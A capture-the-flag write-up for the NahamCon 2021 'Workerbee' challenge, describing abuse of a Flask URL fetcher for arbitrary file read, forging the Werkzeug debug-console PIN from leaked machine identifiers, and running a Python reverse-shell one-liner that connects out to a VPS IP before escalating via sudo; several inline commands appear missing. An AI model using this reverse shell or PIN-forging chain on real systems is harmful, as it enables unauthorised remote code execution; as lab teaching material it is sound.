NahamCon 2021 CTF: Workerbee

This was a Hard challenge with only 19 solves. Created by JohnHammond#6971

Walkthrough

Going to the “Workerbee” link we get a jinja2 traceback. Showing us we’re dealing with a Python 3.8 Flask application

Seeing that traceback shows that we’re currently in debug mode. That also allows for . But for this we need a pin. This pin can be calculated or can be set with an environment variable .

Going back to the homepage, I spin up a VPS to get a public ip address to test with.

Use to setup a http server. Then input the our ip address and look what happens.

This shows us we need “https://”, this could be a hassle, maybe we can bypass this restriction.

After some manual testing I found it only requires “https://” to be somewhere within the given URL. Using will set the "fragment" part of the URL, this should have no effect on the returned data.

When it encounters a 404 request, it throws an exception. This shows us a tiny part of the source code processing our requests.

Now I want to see what the request exactly looks like, maybe that could lead us to the next part. So I stopped the python web server and start up a netcat listener on port 80 with .

Let’s try different protocols, we’re already using something it didn’t expect (HTTP instead of HTTPS) so maybe it can do something else.

FTP seems to be accepted, if only I had a ftp server running. What about ?

There we go, arbitrary file read! This looks like something we can use.

Lets try to read our environment variables, maybe then we can read the console pin.

Formatted here:

MAIL=/var/mail/workerbee
USER=workerbee
LOGNAME=workerbee
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
LANG=C.UTF-8
SHELL=/bin/sh
PWD=/home/workerbee
LC_ALL=C.UTF-8
WERKZEUG_SERVER_FD=3
WERKZEUG_RUN_MAIN=true

No pin. Bummer.

Searching for another way around the console pin I came across this write up https://www.daehee.com/werkzeug-console-pin-exploit/ there they explain how the pin is generated, and how we can generate this ourselves.

For this we need to be able to read some files on the server. Since we have arbitrary file read this shouldn’t be an issue.

In that write up the actual code used to generate the pin is linked. https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py. I used that to find the files used to populate the “machine id” and mac address. This comes down to:

  • /proc/net/arp
  • /sys/class/net/<device>/address
  • /etc/machine-id
  • /proc/sys/kernel/random/boot_id
  • /proc/self/cgroup

With we get the internet interface device id

That being we can request the mac address with

Now use python to convert the address to a number

Next up is the machine id:

This value is less straight forward. Looking at the source code it uses the first not empty file of and . After that it appends part of the first line of .

This file seems empty, so we need the boot_id instead.

Okay, take note of that , cgroup file next.

Copy the first line of the returned file. Paste it into a python shell and run it through the same functions as the pin generator.

This returns an empty string. So we can just omit this part and use the boot id.

Now I can update the exploit code given by https://www.daehee.com/werkzeug-console-pin-exploit/, update the private bits with the parts we just found and update the username and flask app.py path.

We got the username from the environment variables we leaked, and the flask app.py path from the traceback.

Note: machine id and mac address are unique to my instance.

After updating the code and saving the result we run it to get the console pin

And input into the pin field at the page.

And boom! We got a console!

Here we can run whatever python code we want, so we run this to get a reverse shell:

Before running the reverse shell code I opened up a netcat listener on the vps with

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("165.22.193.74",4444)); os.dup2(s.fileno(),0);  os.dup2(s.fileno(),1);  os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);

Running that we got a shell on our listener

Then after doing some manual enumeration I found we have sudo rights without the need for a password, then we open bash as root and cat out the flag at .

Now we can submit the flag and get our 500 points!

flag{e1dfce616b6682163f111b0ff026b0be}

Thanks for reading!
Please follow me on twitter

Edit: fixed some typos

OSCP | OSWE | Software Engineer